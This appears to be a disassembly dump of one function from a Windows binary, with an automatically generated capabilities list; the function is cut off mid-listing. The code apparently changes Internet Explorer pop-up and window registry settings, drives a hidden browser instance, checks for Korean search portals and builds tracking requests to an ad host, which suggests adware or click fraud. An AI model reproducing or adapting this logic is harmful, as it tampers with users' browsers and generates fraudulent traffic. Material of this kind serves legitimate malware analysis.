Function at 0x413850
Capabilities:
Initialize iwebbrowser2
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56fe82
mov eax, dword fs:[0]
push eax
sub esp, 0x354
mov eax, dword [0x5d1e6c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x224], ecx
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x234], eax
mov dword [ebp - 4], 0
push 0x5ae2e0
push dword [ebp + 8]
call fcn.0055a809
add esp, 8
test eax, eax
sete al
or ebx, 0xffffffff
test al, al
jne 0x416040
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x270], 0
push 0x104
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 2
push 0
push eax
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2d0], 0
call fcn.00553570
push 0x103
lea eax, [ebp - 0x113]
push 0
push eax
call fcn.00553570
add esp, 0x18
mov dword [ebp - 0x114], 0x736579
lea ecx, [ebp - 0x278]
push 0
push 0
push 0x2001f
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call fcn.004265c0
mov esi, dword [ebp - 0x278]
lea eax, [ebp - 0x220]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp - 0x2cc]
mov dword [ebp - 0x220], 4
push eax
lea eax, [ebp - 0x28c]
push eax
push 0
push str.AllowWindowReuse
push esi
call edi
push 4
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 0
push eax
push 4
push 0
push str.AllowWindowReuse
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x4139ac
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x278], 0
push 0
push 0
push 0x2001f
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerTabbedBrowsing
push SysReAllocStringLen
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x274], 0
call fcn.004265c0
mov esi, dword [ebp - 0x278]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x220], 4
push eax
lea eax, [ebp - 0x28c]
push eax
push 0
push str.ShortcutBehavior
push esi
call edi
push 4
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 0
push eax
push 4
push 0
push str.ShortcutBehavior
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x413a3f
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x278], 0
push 0
push 0
push 0x2001f
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerNew_Windows
push SysReAllocStringLen
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x274], 0
call fcn.004265c0
mov esi, dword [ebp - 0x278]
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x284], 0x104
push eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x238], esi
push eax
push 0
push str.PopupMgr
push esi
call edi
test eax, eax
jne 0x413acc
mov eax, dword [ebp - 0x220]
cmp eax, 1
je 0x413ab4
cmp eax, 2
jne 0x413acc
movzx eax, byte [ebp - 0x218]
xor ecx, ecx
cmp dword [ebp - 0x284], ecx
cmove eax, ecx
mov byte [ebp - 0x218], al
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413ad5
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push 0
push str.PopupMgr
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x413b12
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x278], eax
push 0
mov dword [ebp - 0x274], 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0
push eax
push 0x5a7fa4
push 4
push 0
push 0x5a7fb4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x413b5e
mov eax, dword [ebp - 0x240]
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
mov eax, 3
mov dword [ebp - 0x300], 0
mov word [ebp - 0x308], ax
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0x240]
test ecx, ecx
je 0x416020
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0xa4]
cmp dword [ebp + 0xc], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
je 0x415ef4
push 0x5ae2e0
push dword [ebp + 0x10]
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x413c72
push 0x5ae2e0
lea ecx, [ebp - 0x21c]
call fcn.00403860
mov byte [ebp - 4], 4
lea eax, [ebp - 0x21c]
push dword [ebp + 0x10]
push str.Referer:__s
push eax
call fcn.00403a00
add esp, 0xc
lea ecx, [ebp - 0x2e0]
xor eax, eax
mov word [ebp - 0x2e0], ax
push dword [ebp - 0x21c]
call fcn.004260e0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x220]
push dword [ebp + 8]
call fcn.004263c0
lea esi, [ebp - 0x2e0]
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x240]
push esi
lea esi, [ebp - 0x308]
push esi
mov edx, dword [ecx]
push esi
push esi
push dword [eax]
push ecx
call dword [edx + 0x2c]
push dword [ebp - 0x220]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea eax, [ebp - 0x2e0]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov byte [ebp - 4], 3
mov eax, ebx
mov edx, dword [ebp - 0x21c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x413cac
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x413cac
push dword [ebp + 8]
lea ecx, [ebp - 0x220]
call fcn.004263c0
lea esi, [ebp - 0x308]
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x240]
push esi
push esi
push esi
mov edx, dword [ecx]
push esi
push dword [eax]
push ecx
call dword [edx + 0x2c]
mov byte [ebp - 4], 3
push dword [ebp - 0x220]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov esi, 0x3e8
mov eax, dword [ebp - 0x240]
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
push 3
call edi
sub esi, 1
jne 0x413cb1
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
xor ebx, ebx
mov dword [ebp - 0x284], ebx
nop dword [eax]
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x31c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe0]
cmp dword [ebp - 0x31c], 4
jne 0x413d07
cmp ebx, 0xa
je 0x413d5d
jge 0x413d07
inc ebx
call fcn.0043153a
push 0
push 0
push 0
mov esi, dword [eax + 4]
lea eax, [ebp - 0x360]
push 0
push eax
call edi
test eax, eax
je 0x413d40
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x5c]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x360]
push eax
call edi
test eax, eax
jne 0x413d24
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x284]
inc esi
mov dword [ebp - 0x284], esi
cmp esi, 0x78
jne 0x413ce0
mov eax, dword [ebp - 0x240]
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x320]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x78]
mov esi, dword [ebp - 0x320]
call fcn.00426ad5
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x413da3
push 0x80004005
call fcn.00403fd0
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp - 0x2b0], ebx
mov byte [ebp - 4], 8
test esi, esi
je 0x413ddf
test esi, 0xffff0000
jne 0x413ddf
movzx esi, si
push esi
call fcn.00427b89
test eax, eax
je 0x413df1
push esi
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00403730
jmp 0x413deb
push esi
lea ecx, [ebp - 0x2b0]
call fcn.00426260
mov ebx, dword [ebp - 0x2b0]
mov byte [ebp - 4], 9
cmp dword [ebx - 0xc], 0
jl 0x413ef8
push str.tisearch.co.kr
push ebx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x413e1c
sub eax, ebx
cmp eax, 0xffffffff
jne 0x413eea
cmp dword [ebx - 0xc], 0
jl 0x413ef8
push str.searchan.kr
push ebx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x413e43
sub eax, ebx
cmp eax, 0xffffffff
jne 0x413eea
cmp dword [ebx - 0xc], 0
jl 0x413ef8
push str.freebind.co.kr
push ebx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x413e6a
sub eax, ebx
cmp eax, 0xffffffff
jne 0x413eea
cmp dword [ebx - 0xc], 0
jl 0x413ef8
push str.naver.com
push ebx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x413e8d
sub eax, ebx
cmp eax, 0xffffffff
jne 0x413eea
cmp dword [ebx - 0xc], 0
jl 0x413ef8
push str.daum.net
push ebx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x413eac
sub eax, ebx
cmp eax, 0xffffffff
jne 0x413eea
cmp dword [ebx - 0xc], 0
jl 0x413ef8
push str.nate.com
push ebx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x413ecb
sub eax, ebx
cmp eax, 0xffffffff
jne 0x413eea
cmp dword [ebx - 0xc], 0
jl 0x413ef8
push str.google.co.kr
push ebx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x413ef8
sub eax, ebx
cmp eax, 0xffffffff
je 0x413ef8
mov esi, dword [ebp - 0x234]
mov dword [esi], 0
jmp 0x413f04
mov esi, dword [ebp - 0x234]
mov dword [esi], 1
mov eax, dword [ebp - 0x240]
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
cmp dword [esi], 0
je 0x415fbd
push 0x5ae2e0
lea ecx, [ebp - 0x21c]
call fcn.00403860
mov eax, dword [ebp - 0x224]
mov byte [ebp - 4], 0xa
push dword [eax + 0xf4]
lea eax, [ebp - 0x21c]
push str.cnt__pid_stypeas
push eax
call fcn.00403a00
add esp, 8
lea eax, [ebp - 0x21c]
mov ecx, esp
mov dword [ebp - 0x28c], esp
mov dword [ebp - 0x23c], ecx
push eax
call fcn.00403f30
push ecx
mov ecx, esp
mov byte [ebp - 4], 0xb
push str.admse.channelb.net
call fcn.00403860
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0xa
push eax
call fcn.00407bc0
mov edx, dword [ebp - 0x220]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x413fad
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 9
mov eax, esi
mov edx, dword [ebp - 0x21c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x413fce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x2ac]
mov dword [ebp - 0x2ac], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov ecx, dword [ebp - 0x2ac]
test ecx, ecx
je 0x415ed3
mov eax, dword [ecx]
lea edx, [ebp - 0x284]
push edx
push 0x5a8004
push ecx
call dword [eax]
mov eax, dword [ebp - 0x2ac]
lea edx, [ebp - 0x28c]
push edx
push 0x5a8044
push eax
mov ecx, dword [eax]
call dword [ecx]
mov eax, dword [ebp - 0x2ac]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x284]
lea edx, [ebp - 0x2a4]
mov dword [ebp - 0x2a4], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x415ed3
mov eax, dword [ebp - 0x2a4]
lea edx, [ebp - 0x324]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov esi, dword [ebp - 0x324]
mov dword [ebp - 0x234], esi
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x224]
xor ecx, ecx
mov byte [ebp - 4], 0x10
xor edx, edx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x268], edx
cmp dword [eax + 0x138], ecx
jle 0x415ac5
nop dword [eax]
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
test esi, esi
jle 0x414ba7
mov eax, 3
mov dword [ebp - 0x310], ecx
mov word [ebp - 0x318], ax
mov word [ebp - 0x2c8], ax
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x244], 0
lea eax, [ebp - 0x244]
mov byte [ebp - 4], 0x11
movups xmm0, xmmword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2a4]
push eax
sub esp, 0x10
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x318]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x2c]
mov eax, dword [ebp - 0x244]
xor ecx, ecx
mov dword [ebp - 0x248], ecx
test eax, eax
je 0x4141d8
mov ecx, dword [eax]
lea edx, [ebp - 0x248]
push edx
push 0x5af0bc
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x248]
xor edx, edx
test eax, eax
cmovs ecx, edx
mov dword [ebp - 0x248], ecx
mov byte [ebp - 4], 0x12
lea edx, [ebp - 0x2a0]
mov eax, dword [ecx]
push edx
push ecx
call dword [eax + 0xf8]
mov edi, dword [ebp - 0x2a0]
call fcn.00426ad5
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x413d99
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x228], esi
mov byte [ebp - 4], 0x13
test edi, edi
je 0x414242
test edi, 0xffff0000
jne 0x414242
movzx edi, di
push edi
call fcn.00427b89
test eax, eax
je 0x414254
push edi
push eax
lea ecx, [ebp - 0x228]
call fcn.00403730
jmp 0x41424e
push edi
lea ecx, [ebp - 0x228]
call fcn.00426260
mov esi, dword [ebp - 0x228]
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x268]
push 0x5ae75c
lea edi, [eax + eax*8]
mov eax, dword [ebp - 0x224]
shl edi, 2
mov dword [ebp - 0x288], edi
mov eax, dword [eax + 0x144]
push dword [edi + eax + 0x18]
call fcn.0055a809
add esp, 8
mov ecx, 1
test eax, eax
sete al
test al, al
mov eax, 0
cmovne eax, ecx
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + 0x144]
mov eax, dword [edi + eax]
test eax, eax
je 0x41472d
cmp dword [esi - 0xc], 0
jl 0x41472d
push eax
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x41472d
sub eax, esi
cmp eax, 0xffffffff
je 0x41472d
cmp dword [ebp - 0x258], 0
jne 0x41472d
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + 0x144]
mov eax, dword [edi + eax + 4]
test eax, eax
je 0x414aa9
cmp dword [esi - 0xc], 0
jl 0x414aa9
push eax
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414aa9
sub eax, esi
cmp eax, 0xffffffff
je 0x414aa9
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + 0x144]
mov eax, dword [edi + eax + 8]
test eax, eax
je 0x414aa9
cmp dword [esi - 0xc], 0
jl 0x414aa9
push eax
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414aa9
sub eax, esi
cmp eax, 0xffffffff
je 0x414aa9
push 0x5ae2e0
lea ecx, [ebp - 0x230]
call fcn.00403860
mov eax, dword [ebp - 0x224]
mov byte [ebp - 4], 0x15
mov eax, dword [eax + 0x144]
mov eax, dword [edi + eax + 4]
test eax, eax
jne 0x414397
or ecx, 0xffffffff
jmp 0x4143ba
cmp dword [esi - 0xc], 0
jge 0x4143a2
or ecx, 0xffffffff
jmp 0x4143ba
push eax
push esi
call fcn.00558a23
mov ecx, eax
add esp, 8
sub ecx, esi
mov edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov eax, dword [esi - 0xc]
sub eax, ecx
lea ecx, [ebp - 0x228]
push eax
lea eax, [ebp - 0x280]
push eax
call fcn.00425170
push eax
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 0x16
call fcn.00403db0
mov byte [ebp - 4], 0x15
or eax, 0xffffffff
mov edx, dword [ebp - 0x280]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x414404
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x228]
cmp dword [esi - 0xc], 0
jl 0x414629
push 0x5ae268
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414629
sub eax, esi
cmp eax, 0xffffffff
je 0x414629
push eax
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00425100
mov eax, dword [ebp - 0x224]
mov byte [ebp - 4], 0x17
mov eax, dword [eax + 0x144]
mov eax, dword [edi + eax + 8]
mov edi, dword [ebp - 0x24c]
test eax, eax
je 0x414607
cmp dword [edi - 0xc], 0
jl 0x414607
push eax
push edi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414607
sub eax, edi
cmp eax, 0xffffffff
je 0x414607
push 0x5ae9b0
push 0x5ae278
lea ecx, [ebp - 0x24c]
call fcn.004252e0
mov eax, dword [ebp - 0x224]
mov edi, dword [ebp - 0x288]
push 0x5ae2e0
mov eax, dword [eax + 0x144]
add eax, 0xc
add eax, edi
push eax
call fcn.00424f30
add esp, 8
test al, al
je 0x4145ef
push 0x5ae2e0
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x258], 0x104
call fcn.00403860
push 0x5ae2e0
lea ecx, [ebp - 0x254]
mov byte [ebp - 4], 0x18
call fcn.00403860
lea eax, [ebp - 0x2b8]
mov byte [ebp - 4], 0x19
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x258]
push eax
push ebx
call fcn.00433efa
push 0x5ae2e0
push str.http:__
lea ecx, [ebp - 0x290]
call fcn.004252e0
push 0x5ae2e0
push str.www.
lea ecx, [ebp - 0x290]
call fcn.004252e0
mov ecx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x290]
mov ecx, dword [ecx + 0x144]
add ecx, 0xc
add ecx, edi
mov dword [ebp - 0x22c], ecx
test eax, eax
je 0x414b26
mov ecx, dword [ecx]
cmp dword [ecx - 0xc], 0
jl 0x414b26
push eax
push ecx
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414b26
mov ecx, dword [ebp - 0x22c]
sub eax, dword [ecx]
cmp eax, 0xffffffff
je 0x414b26
mov eax, dword [ebp - 0x224]
lea ecx, [ebp - 0x230]
add edi, 0xc
mov eax, dword [eax + 0x144]
add eax, edi
push eax
call fcn.00403db0
mov edi, dword [ebp - 0x24c]
lea ecx, [ebp - 0x230]
push dword [edi - 0xc]
push edi
call fcn.00403270
lea ecx, [ebp - 0x254]
call fcn.00403fb0
lea ecx, [ebp - 0x290]
call fcn.00403fb0
jmp 0x414607
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x230]
call fcn.00403db0
mov edi, dword [ebp - 0x24c]
mov byte [ebp - 4], 0x15
add edi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x414623
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x288]
push 0x5ae2e0
push dword [ebp - 0x230]
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x41471e
mov ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x264]
cmp ecx, edx
jne 0x4146b6
lea edi, [ebp - 0x2b4]
cmp edi, eax
jb 0x41467a
lea eax, [eax + edx*4]
cmp edi, eax
jb 0x413d99
mov eax, dword [ebp - 0x264]
test edx, edx
jne 0x414683
lea edi, [edx + 1]
jmp 0x414692
lea edi, [ecx + ecx]
test edi, edi
js 0x4146cc
cmp edi, 0x1fffffff
ja 0x4146cc
push 4
push edi
push eax
call fcn.0055a4ba
add esp, 0xc
test eax, eax
je 0x4146cc
mov ecx, dword [ebp - 0x260]
mov edx, edi
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x264], eax
lea eax, [eax + ecx*4]
test eax, eax
je 0x4146c5
mov edx, dword [ebp - 0x21c]
mov dword [eax], edx
inc ecx
mov dword [ebp - 0x260], ecx
mov eax, dword [ebp - 0x224]
lea ecx, [ebp - 0x2f8]
mov edi, dword [ebp - 0x288]
mov eax, dword [eax + 0x144]
add eax, 0x20
add eax, edi
push eax
call fcn.00424dc0
mov ecx, dword [ebp - 0x224]
mov eax, dword [ecx + 0x144]
lea ecx, [ebp - 0x2ec]
add eax, 0x14
add eax, edi
push eax
call fcn.00424dc0
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x29c]
call fcn.00424dc0
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x230]
jmp 0x414a91
mov eax, dword [ebp - 0x224]
push 0x5ae2e0
mov eax, dword [eax + 0x144]
push dword [eax + edi]
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x414aa9
mov eax, dword [ebp - 0x224]
push 0x5ae2e0
mov eax, dword [eax + 0x144]
push dword [edi + eax + 8]
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x414aa9
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + 0x144]
mov eax, dword [edi + eax]
test eax, eax
je 0x414aa9
cmp dword [esi - 0xc], 0
jl 0x414aa9
push eax
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414aa9
sub eax, esi
cmp eax, 0xffffffff
je 0x414aa9
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + 0x144]
mov eax, dword [edi + eax + 8]
test eax, eax
je 0x414aa9
cmp dword [esi - 0xc], 0
jl 0x414aa9
push eax
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414aa9
sub eax, esi
cmp eax, 0xffffffff
je 0x414aa9
cmp dword [ebp - 0x258], 0
je 0x414aa9
push 0x5ae2e0
lea ecx, [ebp - 0x26c]
call fcn.00403860
push str.href_
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x1a
call fcn.00403860
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x250]
test eax, eax
jne 0x414841
or edx, 0xffffffff
jmp 0x41486a
cmp dword [esi - 0xc], 0
jge 0x41484c
or edx, 0xffffffff
jmp 0x41486a
push eax
push esi
call fcn.00558a23
mov edx, eax
add esp, 8
sub edx, esi
test eax, eax
mov eax, 0xffffffff
cmove edx, eax
mov eax, dword [ebp - 0x250]
mov ecx, dword [esi - 0xc]
sub ecx, dword [eax - 0xc]
lea eax, [ebp - 0x23c]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x228]
call fcn.00425170
push eax
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 0x1c
call fcn.00403db0
mov byte [ebp - 4], 0x1b
or eax, 0xffffffff
mov edx, dword [ebp - 0x23c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4148b7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x228]
cmp dword [esi - 0xc], 0
jl 0x414945
push 0x5ae268
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x414945
sub eax, esi
cmp eax, 0xffffffff
je 0x414945
push eax
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00425100
lea eax, [ebp - 0x27c]
mov byte [ebp - 4], 0x1d
push 0x5ae2e0
push eax
call fcn.00424f30
add esp, 8
test al, al
je 0x414936
push 0x5ae9b0
push 0x5ae278
lea ecx, [ebp - 0x27c]
call fcn.004252e0
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x26c]
call fcn.00403db0
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0x1b
call fcn.00403fb0
lea eax, [ebp - 0x26c]
push 0x5ae2e0
push eax
call fcn.00424f30
add esp, 8
test al, al
je 0x414a65
mov ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x264]
cmp ecx, edx
jne 0x4149d4
lea edi, [ebp - 0x2b4]
cmp edi, eax
jb 0x414992
lea eax, [eax + edx*4]
cmp edi, eax
jb 0x413d99
mov eax, dword [ebp - 0x264]
test edx, edx
jne 0x41499b
lea edi, [edx + 1]
jmp 0x4149aa
lea edi, [ecx + ecx]
test edi, edi
js 0x4149ec
cmp edi, 0x1fffffff
ja 0x4149ec
push 4
push edi
push eax
call fcn.0055a4ba
add esp, 0xc
test eax, eax
je 0x4149ec
mov ecx, dword [ebp - 0x260]
mov edx, edi
mov edi, dword [ebp - 0x288]
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x264], eax
lea eax, [eax + ecx*4]
test eax, eax
je 0x4149e3
mov edx, dword [ebp - 0x21c]
mov dword [eax], edx
inc ecx
mov dword [ebp - 0x260], ecx
jmp 0x4149f2
mov edi, dword [ebp - 0x288]
mov eax, dword [ebp - 0x224]
lea ecx, [ebp - 0x2f8]
mov eax, dword [eax + 0x144]
add eax, 0x20
add eax, edi
push eax
call fcn.00424dc0
mov ecx, dword [ebp - 0x224]
mov eax, dword [ecx + 0x144]
lea ecx, [ebp - 0x2ec]
add eax, 0x14
add eax, edi
push eax
call fcn.00424dc0
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x29c]
call fcn.00424dc0
mov ecx, dword [ebp - 0x224]
mov eax, dword [ecx + 0x144]
lea ecx, [ebp - 0x2dc]
add eax, 0x1c
add eax, edi
push eax
call fcn.00424dc0
mov dword [ebp - 0x220], 1
mov byte [ebp - 4], 0x1a
or eax, 0xffffffff
mov edx, dword [ebp - 0x250]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x414a87
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x26c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x414aa9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x224]
add esi, 0xfffffff0
mov ecx, dword [ebp - 0x260]
mov eax, dword [eax + 0x144]
mov byte [ebp - 4], 0x12
cmp ecx, dword [edi + eax + 0x10]
je 0x414bbc
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x414ae1
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x248]
test eax, eax
je 0x414af5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x244]
test eax, eax
je 0x414b09
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x21c]
mov esi, dword [ebp - 0x234]
inc ecx
mov dword [ebp - 0x21c], ecx
cmp ecx, esi
jl 0x414140
jmp 0x414b9b
push 0x5ae2e0
lea ecx, [ebp - 0x230]
call fcn.00403a60
lea ecx, [ebp - 0x254]
call fcn.00403fb0
lea ecx, [ebp - 0x290]
call fcn.00403fb0
lea ecx, [ebp - 0x24c]
call fcn.00403fb0
lea ecx, [ebp - 0x230]
call fcn.00403fb0
lea ecx, [ebp - 0x228]
call fcn.00403fb0
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x248]
test eax, eax
je 0x414b81
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x244]
test eax, eax
je 0x414b95
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp - 0x234]
mov eax, dword [ebp - 0x224]
mov edx, dword [ebp - 0x268]
inc edx
mov dword [ebp - 0x268], edx
cmp edx, dword [eax + 0x138]
jl 0x414130
jmp 0x414bff
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x414bd1
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x248]
